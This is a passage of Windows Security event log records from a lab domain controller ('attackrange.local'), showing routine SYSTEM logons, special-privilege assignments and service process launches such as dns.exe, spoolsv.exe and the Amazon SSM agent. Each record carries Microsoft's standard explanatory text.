	Logon ID:		0x0

Process Information:
	New Process ID:		0x8e0
	New Process Name:	C:\Program Files\Amazon\XenTools\LiteAgent.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\Amazon\XenTools\LiteAgent.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248252
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248251
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248250
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8b4
	New Process Name:	C:\Windows\System32\dns.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\dns.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248249
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248248
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248247
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248246
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248245
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248244
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248243
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x668
	New Process Name:	C:\Windows\System32\ismserv.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\ismserv.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248242
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbfc
	New Process Name:	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248241
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248240
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248239
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbc4
	New Process Name:	C:\Windows\System32\spoolsv.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\spoolsv.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248238
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248237
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248269
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\System32\vds.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\vds.exe

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248268
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248267
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248266
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248265
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd5c
	New Process Name:	C:\Windows\System32\vdsldr.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\System32\vdsldr.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:45:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
